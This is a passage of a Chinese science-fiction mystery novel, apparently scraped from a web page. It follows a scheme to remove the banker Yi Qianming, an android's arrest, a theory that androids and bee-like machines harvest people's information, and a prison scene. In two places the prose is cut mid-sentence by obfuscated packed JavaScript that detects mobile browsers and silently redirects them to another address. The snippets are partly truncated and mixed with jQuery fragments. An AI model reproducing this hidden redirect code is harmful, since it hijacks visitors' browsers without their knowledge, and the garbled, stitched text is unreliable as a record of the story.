“我知道你有你要做的事情,而我也有我要做的事情。所以同学之间相互帮助一下,难道不是一件美事?银行里的关系早已经打通了,大家并不在意换东家。易谦明只是孤家寡人,甚至连遗产继承人都没有。如果他挂掉,我和董事会可以凑齐51%的股份。到时候机房给你用只是一句话的事。” “就这么简单?” “就这么简单。还是说你想再加点报酬?” 姜原倒是没有回答柳怀石的后一句话,只是靠在座椅背上,喃喃道:“这还真是一个难以拒绝的建议。” “对吧?”柳怀石扬起了嘴角。 “喂喂喂,你们是不是有点过分了?”周向青急道。她对易谦明没有什么好感,蚂蚁变态的确算不上是一个好人。但他毕竟是自己跟那个人之间的唯一关联。她并不想让易谦明死。 姜原明白周向青的意思。他附和道:“是有点过分。你们没考虑过用最近的杀人事件来扳倒他吗?虽然没什么证据,但是——” 柳怀石反问:“你觉得易谦明是会受你威胁、诱骗或者跟你交易的人?” 姜原的确不觉得。“但如果你只是要他的银行——” “不是我想要他的银行。是董事会想要。董事会对现在的价值评级体系不是特别满意,但他们看好这个行业的前景。”柳怀石说到这里,冷笑了一声。“所以需要有一个‘局外人’来帮助易谦明不露痕迹地出局,从而不搞坏大家的前途。” “你呢?” “我想让他们稍微松一松自动化的控制令。这是互相帮助。我觉得圣女大人应该很清楚才对。”柳怀石说。 姜原扭头去看周向青。 “你的确是帮我弄了一条手臂。但我也有我要做的事情。反正,我不允许你这两天动手。” 柳怀石没有理会周向青,而是对姜原问:“所以你怎么说?接不接?” “最后期限是什么时候?”姜原问。 “喂!”周向青叫道。 “这也还没答应呢!再说,我们只要在期限之前,找到关于弗莱的线索就行了。大不了先把他绑架……” “我不同意。你每次都是变来变去,下决定一次比一次快,你真的知道自己在干什么吗?如果你把他弄死了,我的线索断了怎么办?”周向青急道。 柳怀石不理会周向青的反对,对姜原说:“期限是审判结束之前。具体哪一天你自己选。” 审判结束?周向青一愣。这跟审判结束有什么关系? 而姜原还在试图安抚周向青。“你放心,线索不会那么难找——” 姜原的话说了一半,突然停住了。他们三人都看到,前方的浓雾中闪着一排红蓝色的光。 “那是什么?”姜原问。 又有两辆车从他们后方冲出,亮着红蓝色的灯光,呜呜的警笛声响个不停。 “前面的,靠边停车!我们是铸造局的执法人员!立即停车!”对方用喇叭命令道。对方显然是早就埋伏在这里。这一带没有岔路,他们已经被包围了。 柳怀石只好打亮方向灯,慢慢停到路边。 几辆车卡在他们进退的位置上停下,穿着铸造局制服的雇员们从车上走下来,前后左右包围了柳怀石的车子。他们都带着武器。 其中一个人敲了敲柳怀石的车窗。 柳怀石降下车窗问:“请问,有什么事吗?” “检查逃犯。”对方答道。他把头探进车内,视线慢慢扫过周向青和姜原,然后说:“我们查一下后备箱。请您开一下后备箱。” “好的。”柳怀石按下按钮。后备箱啪嗒一下弹开了。 两个铸造局的警员走向车后。 姜原隐约听到咔哒、铿锵的响声。他向后视镜中望去,但掀起的后备箱盖挡住了他们的身影,他看不到对方在摆弄什么。 “你们查的是什么逃犯,杀人案的?”姜原问。 对方并没有回答。 反而是车后传来一声锐响。 周向青脑袋一沉,直接撞上了前面的座椅。 78.雾气弥漫的城市18 就在周向青倒下的那一瞬间,警员们全部拔出武器,指着姜原和柳怀石。 “不要动!”对方高声喝道。 他们没有动。后面的警员拉开车门,把周向青拉出去,拖进他们的车里,关掉警笛,扬长而去。而前面的路障也同时解除了。 不一会时间,对方连人带车走得干干净净。 “我说,这该不会跟你有什么关系吧。”姜原说。 柳怀石挠了挠油腻的头发。“没有啊。我也不知道他们会过来。大概是易谦明自己报的警。” “就算是他报的警,他怎么知道我们在哪呢?你不是说,他那个信息很慢吗?” “是,但我知道你们在哪里。而他们知道我在哪里。我倒是没想到易谦明翻脸这么快,疏忽了。”柳怀石从口袋里掏出一块小小屏幕。上面一闪一闪地亮着一个信号。“你倒是也不用急。他们带她回铸造局去了。审判前都不会有事。” “你在送她的手臂里装了定位器。”姜原道。 柳怀石嘿嘿一笑,发动车子,掉头向码头区开去。他一直把车开到“四大恶人”的招牌前停下,才掉过头,对姜原说:“如果你下了决定,不用联系我。直接动手就好了。我只等你到审判结束。” 姜原没有回答,只是下了车,重重关上车门。 他先得自保。 工作室灯火通明。关铁震、白少俊、郑小楼正在一楼的客厅里等他。 姜原一进屋,白少俊便率先开炮:“你去哪里了?” “怎么,你们怀疑我干了什么坏事?”姜原直戳主题。既然对方想问,他索性抢先替对方问了。 “但之前是你说会在这里等我们的。我们回来你又不见人影,难道就不许问问你去哪了?”郑小楼说。 “当然可以问。随便你们问。”姜原双手一摊,一副死乞白赖的样子。 “所以你到底去哪了?”关铁震问道。 “我去见易谦明了。”姜原说。 关铁震闻言一呆:“你自己?当时他的管家不是说,他不会客吗?” “对啊。所以我算是不告而去的。” 白少俊哼了一声。“你还真是胆大啊。也不怕被发现了?” “那没什么好怕的。”姜原说。“而且,我也的确被发现了。” “这……他说什么了吗?该不会是要取消委托了吧。”关铁震拍了拍自己光光的头皮。 “取消就取消了呗,反正我们也没调查出什么。” “但我们好不容易才改的名字——” “再改回去不就得了。” 他们三人反倒先争论起来。 姜原插话道:“易谦明大概还没有取消。我觉得他不会去想这个问题。” 关铁震舒了一口气。“那就好。 “所以他跟你说了什么?”郑小楼问。“他有没有说他是怎么收集大家的信息的?虽然这算是商业机密,但如果不想地毯式地再重新问一遍那些证人,我们真的想不到有什么别的线索了。” “那你们下午在铸造局没拿到什么信息?”姜原问。 “也不是没有——” “让他先说他下午干了什么。”白少俊打断了郑小楼的话。“我总觉得你是在利用我们干你自己的事情。” 姜原耸了耸肩。“我不否认我有自己的事。比如,我这次也见到了卡比利亚的圣女。只不过她跟易谦明闹了点矛盾,易谦明又把她发回铸造局去了。如果你们不信我的话,可以看明天的新闻。” “那你之前说的——” “她说如果我不能把她弄出来,她就绝对不会告诉我文档到底在哪里。所以这件事只能暂时往后推一推了。我想,可能在审判期间接触她会更容易一些。不过就算拿不到也没有关系,易谦明就已经很有钱了,在他身上捞回本也是完全可以的。我现在一心一意在你们这边。”姜原说。 先证明自己的忠诚。这是第一步。 “你以为你这么说我就会信吗?现在没有任何证据能证明你的话。”白少俊说。“易谦明自己的城堡,不是你想进就进的。” “关于这一点我也承认。红口白牙,口说无凭。但易谦明的城堡还真的是想进就进。主要还是因为他崛起也不过是十年不到,大概还没有多少人尝试过,所以给了你们这种错觉。我拟定了从易到难十六个计划,包括化妆潜入和从外部攻破。结果发现——最简单的计划反而最有效果。” “什么计划?”郑小楼问。 “之前他们不是给了关老大一张卡吗?我把那个卡顺过来了。关老大,你可以摸摸自己的口袋。然后我在天快黑,人们开始离场的时候混进去,藏在杂物间里一直等到大楼清空。然后我刷了卡,叫来电梯,直接上去,就这么简单。” 姜原把那张柳怀石之前给他们的名片卡放在了桌上。 关、白、胡三人闻言均是一愣。 “就这样?”关铁震问。他刚才已经摸过了自己的口袋,卡片的确不在了。 “对啊,就这样。他们没设任何防备似的。亏得我一开始还戴了用于检测红外感应器和摄像头的眼镜,结果什么都没用上。” “但你为什么不跟我们说一声?如果你只是做这件事的话。”白少俊问。 “因为我担心一件事。” “什么?” “我担心我猜的没错。连环杀人如果真的跟易谦明有关系,那么事情就很难处理。” “但这也不能解释你为什么不跟我们说。”郑小楼皱眉道。 “是。不能解释。我也只是一时冲动,想要证明我的观点没错,又不想发现我的观点真的没错。在这种情况下,就很难把它当作一种正式的行动告知你们。至少这样你们可以不比替我负责,如果出什么事的话。你们可以说:我们不知道他在干什么。毕竟我是外地人,随时都可能走掉。而你们大概还要长期留在这里。” 第二步,展示自己的好意。 关、白、胡三人对视了一眼。 关铁震咳嗽了一下,说:“我觉得小兄弟这种顾虑也有他的道理。” “但你的结果呢?”郑小楼问。“结果怎么样?” 姜原的目光逐一扫过他们三个人的眼睛,才答道:“我觉得不好说。” 郑小楼看上去不是很满意,而关铁震明显松了一口气。 “为什么?”郑小楼问。 “倒不如你们先说一下今天你们看到的情况?我看看能不能跟我听到的内容对得上。”姜原道。 郑小楼叹了口气。“我们实际上没拿到什么决定性的证据。而你说他很可能跟案子没有关系,那这个证据大概是用不上了。” “你们发现了什么?” “交易记录。每一个死去的人都是上市的,而每一个人死后,易谦明都用他的个人财产进行平账,换句话说,他补贴了所有因为凶杀而亏损的投资者。跟据他个人在新闻上的说法,是为了保证大家对价值评级的信心。倒也说得通。” “嗯。但我觉得这个还是很有意义的。那张画像怎么样?” “没有。相貌相似的实在太多了,成千上万。而在证词里,的确有人看到了穿风衣戴帽子的人,但这段时间大家因为流言的缘故,夜间出门时打扮都差不多,所以也没多大价值。” “所以你到底发现了什么才是大问题。”白少俊说。“现在谁也没有关键性的证据。我们没有,铸造局也没有。这件事目前不指向任何一个人。” 姜原点了点头。“既然这样那我就说一下吧。我在通过电梯上去之后,测过了有没有探头之类的东西,发现都没有。管家阿福说,50层以上只有他和易谦明两个,这意味着他们不容易发现我;但这也意味着,我要找到易谦明而不被管家发现,并不容易。所以我就用了一个小小的手段。一个小小的装置,安装在固体表面,可以监听到几十平米内的音源。而且还可以用滤波器滤掉风声、水声等等有规律的声音。” “你从哪里搞得那种东西?”郑小楼羡慕地问。 “哈哈,一点小渠道而已。总之,我就监听、上楼、监听、上楼这样一层层地找上去。然后找到了餐厅。没想到,圣女、易谦明、还有那个管家,似乎都在同一层。我就慢慢摸了过去,然后用监听器听到了他们的对话。他们在激烈地争论。听起来像是圣女发现了易谦明的商业秘密。” “什么秘密?” “我说出来你们可能不会信。因为这一点可能有点惊人。”姜原道。 “总不会是他在用仿生人吧。”郑小楼说。 姜原反倒愣住了:“怎么,你知道?” “啊?他真的在用仿生人渗透我们吗?”郑小楼也惊叫起来。 姜原一时糊涂了。 “是我们这里一个荒诞无稽的流言。易谦明刚崛起的时候,那个流言特别流行。反倒是最近渐渐没人提了。你总知道,在自动化控制法颁布之后,这里还是有不少仿生人用于各种非法产业吧。铸造局用了几十年,才陆陆续续扫清这些仿生人。而那条流言的内容就是——易谦明把铸造局没收的仿生人全部改造,混到了我们中间,刺探我们的信息,所以他的价值评级才能那么准确。”关铁震说完,又叹了一口气,说:“如果老马在,他肯定能给你说得更详细一点。” 姜原眨了眨眼睛。“不得不说,这个流言也不完全错。” 关、白、胡三个人都惊呆了。 过了好一阵,关铁震才结结巴巴地说:“易谦明真的在用仿生人刺探我们的信息?” 白少俊则好像想起来什么一样,说:“我就说那时候怎么会——” “等等、等等。我可没那么说。易谦明严格来说,并不是在用仿生人窃取你们的信息。而是在用仿生人控制活化机械,来窃取你们的信息。我不知道他是从哪里找来的这些活化机械。但真正窃取信息的不是仿生人,而是活化机械。” “你到底在说啥?” “是这样。根据我听到的情况来推测,窃取信息这件事其实分成四个环节。一、易谦明手里的信息是从他的仿生人,那个管家阿福那里来的。二、管家阿福能够拿到这种信息,是因为他能够让一种像是蜜蜂一样的活化机械把收集到的信息注射到他的神经系统内进行分析。三……” “等等等等。你这样说得未免也太快了。你怎么知道他是仿生人?”白少俊问。 “因为没有活人能让一万只黄蜂蜇自己的脸。”姜原说。 白少俊张了张嘴,但什么都没有说出来。他大概没有办法想象这是一种什么样的场面吧。 “然后圣女也被蛰了。能够信息注射这是她说的。”姜原补充道。 “所以仿生人的确可以与活化机械连接。”郑小楼说。她显得有点激动。“那岂不是说——” “对,这一点有利于圣女的审判。”姜原在说出这句话时,他自己也一愣。 如果这样的话,为什么柳怀石还要做掉易谦明? 目前没有人能比易谦明更能证明活化机械可以与仿生人连接了。甚至可以说,在圣女审判的时候,只要把易谦明提出来,那么就可以直接达到柳怀石想通过周向青实现的效果。 那柳怀石为什么还要做掉易谦明?据他所说,这样最稳妥。而且他不是为了他自己,是为了董事会。姜原此时没有办法去验证他的说辞。 那么董事会知道易谦明到底是通过什么建起了他的银行吗? 如果知道的话,说明他们做掉他只是害怕这件事暴露出来罢了——但如果他们不知道呢? 那么柳怀石的要求岂不就是—— “你怎么不说话了?”郑小楼一句话把姜原拉回了现实。 “抱歉。我走神了。” “走神?你走什么神?”白少俊盯着他的眼睛。 的确,在说话说一半的时候走神很怪。“我刚才只是在想,董事会决定举行对圣女的审判,肯定是为了证明自己是对的,不是吗?为了证明没有控制的自动化和仿生人对于我们的社会是危险因素。” “你可以这么说。” “好的,我明白了。那就回到我刚才说的内容吧。第三个环节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285464|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是,那些黄蜂一样的活化机械,它们是从一些能够过滤空气的地方收集信息物质的。易谦明的人贸银行就是这样的一个‘蜂箱’。四、这些信息物质——某种程度上说,是纳米机器人,很有可能就是——空气中的雾,我们呼吸时让它进入我们的肺部,然后又随着我们呼吸、咳嗽回到空气中。但我还不知道这些东西到底是从哪里来的。或许它像病毒一样能够依赖我们的身体复制?或者——” “停停停停——你这说得越来越可怕了。”关铁震连连摆着手。 “你到底看到了什么?”白少俊问。“我感觉这些内容并不是你这短短一趟就能弄明白的。” “的确。但我不是说了,我跟圣女说过话了吗?” “所以这是一个仿生人告诉你的内容。”白少俊说。 “不。她只说了她看到的东西。这是我结合她看到的内容,做的整理。”姜原回答。 “但这仍然只是猜测。我不相信。她完全可能是因为你会这样猜测,才给你提供了这样的信息。”白少俊说。“她人呢?” “我刚才已经说了。她因为看到这一幕,已经被抓回铸造局了。” “那你的意思是……是易谦明在背后……”关铁震问。 “不,我不这么觉得。”姜原道。“我觉得反而是那个仿生人控制了易谦明。” 第三步算是完成了。现在他已经用一个很难接受的事实,让他们的世界观产生了一点小小的震撼。他必须尽快让他们回到自己熟悉的世界中来。不然他们就会开始拒绝他说的话。 “为什么?”关铁震问。“为什么你觉得是他在控制?” “很简单,因为易谦明自己根本没有控制这个系统的能力。活化机械不是他的,无论是黄蜂,还是雾。而活化机械提取的信息也不是他能完成的,是仿生人在做。这个系统唯一需要的就是一个代理人。代理人拿了好处,但他也在帮助庇护这个仿生人,培植活化机械种群在这么一个充满敌意的社会中生存。而最占据优势的,就是沟通活化机械和易谦明的仿生人,不是么?” “但我感觉你也在干同样的事情。”白少俊说。“在沟通我们和……和不知道什么东西。” “没错。但你们不是活化机械。你们什么时候都可以去验证我说的对不对;你们也可以在任何时候把我抛到一边。”姜原答道。“而且最重要的就是,易谦明看上去很痛苦。” 关铁震和白少俊对视一眼,同时笑了。 “他,痛苦?那种人的痛苦,恕我直言,不值一提。” “或许吧。但那表明他不是什么都能控制不是么?可以视为他受这个系统控制的证据。” “他怎么个痛苦法?”白少俊凑近了问。 “易谦明觉得他被替代了。”姜原答道。“他觉得他才是仆人,那个管家才是主人。” 白少俊冷笑了一声。“这倒是毫不陌生。哼。狗屁不懂的大少爷被油嘴滑舌的下人吃干抹净。” “所以我觉得,如果我们帮他处理一下这件事,或许易谦明会非常感激。说不定能让你——我们,在他的银行里拿个永久性职位。这样,你们就再也不用担心自己的价值问题了。”姜原说。 “那你觉得,我们怎么帮助这个被管家拘禁的大少爷呢?”关铁震问。 姜原还没回答,郑小楼却先插进话来:“等等。你还没讲通。如果是那个仿生人管家在控制这些事情——首先,怎么没人发现他是仿生人?其次,这一连串的凶案到底是谁干的?第三,这一连串的凶案到底对于这个系统到底有什么好处?我们之前可是都觉得有问题的。” “没人发现很正常。人们不在意这些事情。”白少俊说。 “对,而且管家也不是总在外面啊。”关铁震也附和道。 郑小楼不理他们,只是盯着姜原。“你呢?” “卡比利亚的圣女也是仿生人。如果不是我知道这一点,只看两眼我是看不出来的。审判据说就在后天,到时咱们可以去看。”姜原正色答道。 大概是被姜原的语气说服了,郑小楼没有对此继续质疑。 “而这一连串的凶案——” 是谁呢? 或者,他应该说是谁呢? 如果说是易谦明,他们会为了给马延仙复仇而加入他的行动吗? 如果说是仿生人管家,他们会为了救易谦明而破坏银行的存在基础吗? 他并不清楚。 “——是谁我并不能确定。我认为是仿生人管家主使的可能性并非没有,而易谦明多少也已经卷入这些事件中了。至于到底原因如何,我觉得我们只有问了易谦明本人才能知道。” 郑小楼脸上再度现出不满意的表情。但这并不是对姜原不满,而是对这样一个开放式的答案不满。她在这一刻就像等待着悬疑剧结局出现的家庭主妇,却发现除了一个模棱两可的答案之外一无所有。 然后她会生出来一个问题。 ——还有下集吗? “那我们接下来怎么办?”她喃喃道。 “我倒是知道一个不错的机会。”姜原说。“就是有一点点冒险。” “什么机会?”郑小楼问。 “一个稍纵即逝,一旦失去就再也不会来的机会。”姜原说。 “你别卖关子。快说吧小兄弟。”关铁震催道。 “我在出来的时候,把通向50层以上的电梯弄坏了。不是那种掉两枚螺丝,刮花一块玻璃那种坏。而是整个电梯的轿厢都从天上掉了下来。这种损坏,今天晚上他们大概不会有时间维修,最多也就是明天开始。这也意味着,在这段时间里,50层以上的区域属于一种物理上隔绝的状态。” “你是什么意思?” “我的意思是说,这是一个难得的,能够强行跟易谦明见个面,而不必担心被别人打扰的机会。”姜原说。“如果我们能在这个时间里弄清到底是怎么回事,我们还来得及做好决定,然后再离开。你们觉得怎么样?” 关、白、胡三人你看看我,我看看你,眼睛里都露出了光。 79.审判01 “报号!” “BSA681!” “BSA681!进!” 耳边响起橐橐的脚步声。 她感觉自己正浮在空中,只有脚尖跟着那脚步声在地面上划过。 吱呀—— 是门轴的响声。 她飘进门内。那股让她浮空的力量突然消失了。她扑通一声摔在床上。 她爬不起来。她也懒得爬。 “真不知道这家伙到底在想什么。居然敢袭击保释自己的人。”一个声音说道。 “仿生人嘛。不然为什么会大崩溃呢?”另一个声音答道。 吱呀——砰! 门重新锁上了。 周向青仍然一动不动,她只想继续这样睡下去。 ### 她的身体在慢慢下沉。 不。那并不是在下沉,而是她在沿着一条通向正下方的通道慢慢前行。 她是在一步一步地行走。在一张厚厚的地毯上行走。奇怪的是,无论是她,还是地毯,都没有掉下去。 她能感受得到她的前方有一股引力。拉着她不断向前。 但她的双脚仍旧稳稳地站在那张地毯上,在一条破破烂烂的走廊中间。 她的两侧都是完全相同的、掉漆褪色的木门。 她随手推开身边的一扇门,走了进去。门后仍然是长长的走廊。以及更多的木门。 她加快脚步。打开这一扇门,通过那一条走廊。 眼前的道路似乎无穷无尽。 但她既不会停下,也不会感到疲惫。她走的没有错。她距离自己的目标越来越近了。 虽然她并不知道自己的目标是什么。也不知道为什么会这样判断。她只是这样觉得。或许是因为脚下厚厚的棕色椰毛地毯不知何时换成了薄纸般的绿色化纤防水垫,而走廊两侧的门也不知何时从木门变成了塑料包面的胶合板门。 但她就是觉得自己走对了方向。 她反而因此欢欣鼓舞起来。 她又随手推开了一扇门,进入门另一边的白光。 白光渐渐消散,那条无止无尽的道路终于到达了终点。 她的面前是一个半人高的机器人。 它方方正正的头部上仅有两个大大的摄像头和两支天线;铝合金外皮做成的圆筒身体整个漆成黄色,就像一个垃圾桶,上面还打着可回收的标记;身体两侧的套管手臂就像是姜原的机械爪,主打一个简陋但实用;它甚至没有腿,而是一个类似坦克的履带底盘。 一台来自大崩溃几百年前的机器人。 “我好啊。”它胸前的羊毛盆喇叭似乎是受潮了,尖锐的语音中还夹杂着吱吱声。也或许是它的音源本身就有问题。 “你怎么了?”她问。 “我,好啊。”它再次说道。 “嗯。你好。” “我,给我这个。”它的胸前弹开一个抽屉,两只机械爪就在里面哗啦哗啦地翻找起来。 它的人称代词用错了。她想。 “给我这个。”机械爪从那堆杂物中掏出了一盘磁带。 “应该说,‘给你这个’。”周向青接过磁带。她看到磁带上用黑色记号笔写着两个字。 “给我”。 她挑起眉毛。 “是‘给我’,是给‘我’的。”羊毛盆喇叭吱吱作响。 这到底是谁给谁的?写着“给我”,而“我”又是谁? “给我。给我。”机器人的履带咯吱咯吱地转动着,将他的背部转到前方。他那涂漆的后背上似乎是内置了一台磁带机,带挡板的插槽旁还有几个按键和指示灯。她把那盘磁带插了进去,按下播放键。 指示灯亮起绿色的光。她能听到磁带在机器人体内慢慢地转动。 喇叭里仍然只有沙沙的电流声。 “你的磁带没有声音。”她说。 “我的,给我的,是给我的,都是给我的。”机器人抓住她的双肩,把她压向它胸前的喇叭。 沙沙的电流声停止了。 喇叭里突然传出尖锐的鸣叫。像是鸟儿的惨叫。像是铁钉划过玻璃。 但那却是毫无疑问的人声。 “我——在——等——我——” ### “胖球!” 周向青猛地从床上惊醒。 不,那不是她的鸟儿。易谦明不像是气量狭小到会拿一只八哥怎么样的人,不然他也不会走到那么高的位置。 除此之外,梦境中机器人的样子也在周向青心里挥之不去。这是第二次了。她以前很少能记得住自己的梦。大概是这古怪城市的缘故。那些雾气同样是活化机械的产物,或许她跟这些东西也产生了一点联系。 不过,如果她最后找到的不过是一台老旧的机器人,而它又偏偏掌握着她的全部过去,那么她会怎么想? 虽然在易谦明面前时,她的回答很有骨气,但此时她又困惑了。是“那个人”把她引导到易谦明这里的。那么易谦明这番话是不是可以理解为,他掌握着那个人的什么不可告人的秘密? 不。她不相信。那个人的引导必然另有深意,易谦明的话也可能只是有感而发。而那个人的引导,除了某个具体的物证外,一定就像卡比利亚的经历一样,指向的一定是不会随着时间而改变的,也是他与易谦明之间的真正联系。 而那应该是—— 她听到外面的走廊里响起了脚步声。 该不会是姜原来看她了吧? 周向青扑向牢房的门,去抓自己面前的铁栅。她想看看外面来的人是谁。 但她的手即将碰到那铁栅的时候,耳朵里却已响起嗡嗡的声音。她急忙松手退步。但指尖还是擦到了栅栏。噼啪一声,火花四溅。 如果她动作慢一点,可能但双手表面已经被电流击穿了。 “他们在牢门上接了电。”来人说道。“你最好不要碰。” 周向青听到那个声音,心中满是扫兴。 “他们本来应该告诉你的,但把你运进来的时候,你的意识还不太清晰。”那人又说。“还好你刚才反应比较快。不然的话——” “所以你来干什么?就是告诉我这玩意上通了电吗?”周向青没好气地问。 曹文道摇了摇头。他拉长着脸,佝偻着背,腋下夹着一个厚厚的文件袋,一副小公务员的猥琐模样。 “不是。我刚从庭前会议出来,就听到你来了这里。我是来告诉你,上面的意思已经定了。他们给你提了个条件。他们希望你否认可以与活化机械连接;并且承认你利用圣女的形象,给统修会的群众传播错误印象这一行为,是卡比利亚大主讲朱启儒的指示。” 看来那个老爷爷要倒霉了。周向青心想。她也因此为程光颢感到惋惜。一个人并不仅仅代表他自己。事情对于这些人来说,总是复杂的,甚至有点太复杂了。但要她为了这些人的复杂而改变选择,她不愿意。 “我知道了。”她说。“你的信息传达到了。” “那你的回复呢?” “我只会回答我认为应该回答的内容。”周向青道。她并不想把自己跟柳怀石的交易说出来。 “我想也是。”曹文道叹了口气。但他叹过气后,却仍然不愿离去,像是还有什么别的话要说一样。 “你不走吗?”周向青问。 “我马上就走。”曹文道说。但他的脚却又不挪地方。过了一会,他问:“他们说你袭击了易谦明,到底是怎么回事?” “我没有袭击他。” “他们是这么说的。易谦明,我的天。你不是靠他才能保释出去的吗?你袭击他干什么?这下被抓进来,你满意了?” “我说了,我没有袭击他。” “那到底是怎么回事?”曹文道原地来回走了两圈,问道。 “我只是发现了他的一点……隐私。”周向青说。 对,隐私。虽然是易谦明用仿生人跟活化机械相连接来窃取并分析无数人情报的隐私。天啊。她把这句话在心里说出来之后,才意识到这是一件多么了不起的事情。 对啊。“那个人”给她留下易谦明这条信息,除了让她去发现这件事之外,还能是什么呢?而且…… “你之前说,易谦明原本只是一个期货交易员对吧。”周向青问。 曹文道点了点头。“是,他以前是期货交易员。但你说隐私什么的……” 一个期货交易员,真的有能力处理仿生人和活化机械吗?一个期货交易员,真的能够设计这套呼吸系统吗? 如果易谦明说的,“在最开始的时候,给他提供了最需要的帮助”,并不是指钱呢?只是她把这句话理解为了钱而已? 而是“那个人”,给易谦明提供了仿生人,活化机械,还有如何实现这个想法的一整套体系呢? 那么“那个人”给她留下的信息指向的,说不定就是那台仿生人。易谦明说的话说不定是真的。真的就是一台破旧的机器人掌握着她过去的所有信息! “可恶!”她忍不住一拳打上了牢房的墙壁。为什么她当时没有想到这一点? “怎么了,怎么了?”曹文道在外面问道。 “没什么,我只是在考虑你刚才说的信息罢了。”周向青随口答道。 “好吧。反正,你也不要去管易谦明的什么隐私了。我还是劝你多想一想审判的事情。答应董事会的条件对你有利无害。统修会那些人怎么样,难道对你有什么影响吗?对不对?而且无论你在庭上说什么……” 审判。 对了。周向青突然想起柳怀石对姜原提的要求。在审判之前做掉易谦明。 “现在什么时候?”她急忙问道。 曹文道翻腕看了一下表。“5点一刻。” “我是说我被抓进来多长时间了?” “没多长时间吧。现在天还没亮。怎么了?” “你能帮我带——” 不。她让曹文道带一句话,真的能阻止姜原做她想做的事情吗? 何况她都不知道姜原在哪里。而后天就是审判了。如果姜原真的做了柳怀石让他做的事情……不行。她必须出去。 而这里除了这道加了高压电的栅门以外,没有任何限制她行动的东西。 真是简单。只要砍开它就好了。 周向青翻了翻手腕。但蓝色的刀刃却没有响应她的召唤。她又试了几次,仍然没有任何回应。她有点困惑。就像是她失去右臂时的困惑一样,只不过这次失去的是她自己体内的某个功能,而不是一整条手臂。 她感觉不到哪里不对劲,但就是没有办法清楚地明白问题在哪。 “他们屏蔽了你的武器系统。”曹文道说。“这里已经处理过很多、很多个仿生人了。整个空间都充满了无线信号,功率强到可以压过你自己身体的指令。你靠自己是出不去的。” “真是厉害。”周向青恨恨地讽刺道。 “别说这种没用的话了。你知道你现在是什么处境吗?” “关在牢里。” “我不是说这个。”曹文道像是在跟一个愚钝的学生讲理论物理课一样,露出痛心疾首的表情。“你没有听到我之前说的话吗?他们要你承认你的圣女身份是伪造的。你不知道这意味着什么?” “他们都不需要我了?”周向青耸了耸肩。 “是的。统修会那边已经下定了决心,而董事会已经跟他们达成了协议。他们已经伪造了你的证词,而审判一结束,就把你处理掉。这里曾经处理过几十万几百万台仿生人,而你的下场跟你的同类不会有什么区别。你知道你自己会怎样吗?” 曹文道并没有等周向青回答,继续说道:“他们会把你的脑袋打开,四肢拆掉,仿生脑扔进高压电场,把里面的元件彻底烧毁;身体和四肢用压废铁的水压机跟其它仿生人的身体一起压成一个紧凑的正方体,然后一同掩埋。他们这样做是为了避免元件回收流回市场,被其它人使用。你会变成什么都不是的垃圾,永远埋在地底。” 周向青有点难以想象那是怎样一副光景。 “但那也不过只是死而已啊。”她说。 死。 在她说出这个字之前,她其实没有什么感觉。但在她说出这个字之后,似乎是有什么东西在她的身体里活了起来。她觉得头痛。四肢冰冷。肚子里有什么在叽里咕噜转个不停。 就像是她的身体不接受她说出这个字一样。 “或许对于你来说只是如此而已。” 但对于活着的人来说不同。曹文道脸上的表情似乎是在说这句话。他抬起手腕,看了看表。时间是5点28分。 “我一点也不喜欢你。”曹文道说。“我是真的一点都不喜欢你。而且你甚至一点也不像她。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289742|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周向青不明白他是什么意思。 曹文道突然凑到栅栏前,压低了声音说道:“5点30分的时候,外面的守卫会换岗。右转、再右转后有一面带窗户的墙,你把这个粘在墙上,就能出去了。出去以后,千万不要再回来。” “你什么意思?”周向青茫然问道。 曹文道没有再回答。他望着自己手腕上的表,口中喃喃数着。然后他抽出腋下的文件袋,对着周向青晃了晃,像是要把里面的东西掏出来。但他的手抖得厉害。文件袋落了下去,掉在地上。 曹文道看了周向青一眼,突然一头撞上了面前的铁栅门。他的两只手紧紧抓住铁栅,高压电一瞬间击穿了他的身体,整个房间充满毛发与皮肉的焦糊味。 警铃声响了起来。 周向青不由惊叫一声,她下意识想用自己左手的光刃砍开栅门通电的部分,但那蓝色的刀刃仍然无法启动。 他为什么要干这种事? “快!快断电!曹先生摔倒了!” 她隐约听到远处有人叫道。 几秒钟后,高压电停掉了。 周向青看着曹文道焦臭身体下的那个文件袋,伸出手去。袋子里除了文件以外,还有一个小盒子,上面只有一个按钮。背后是一块双面胶。 在不远处响起了脚步声。 周向青飞快地把文件袋放回原处。 脚步声越来越近,是两个警员来查看曹文道的情况。她不知道他们有没有能马上停止自己行动的那个装置。她记得黄承安当时说,那玩意的作用范围只有几步远。大概这个使用武器的限制也是如此。 “啊,怎么成了这个样子!”一个年轻的警员说。 “这是你干的吗?”另一个稍微年长的警员吼道。 “不是。他自己摔倒了。”周向青说。“他想捡那个袋子。” “你退后。”年长的警员说。他手里握着一个遥控器似的东西。 周向青默默向后退了几步。 真的不值得。真的不值得。 他这样做就一定能让自己逃出去吗? 她根本不知道走廊的另一边到底是什么情况。或许是两班警卫都因为这警铃而靠了过来,也有可能这两个警卫就是最后去换班的两个人。一切都有可能。他凭什么知道事情会如何发展? 就是靠运气吗? 那也不过是死而已啊。 大概就是这样了吧。最多也不过是死而已。人死之后,事成不成,就全凭天命。但牵挂、痛苦、彷徨、恐惧,也就都一并结束了。 抱着幻想而死去,还有什么比这更轻松呢? 这就是你想要的吗? 周向青在心中暗暗叹了口气。 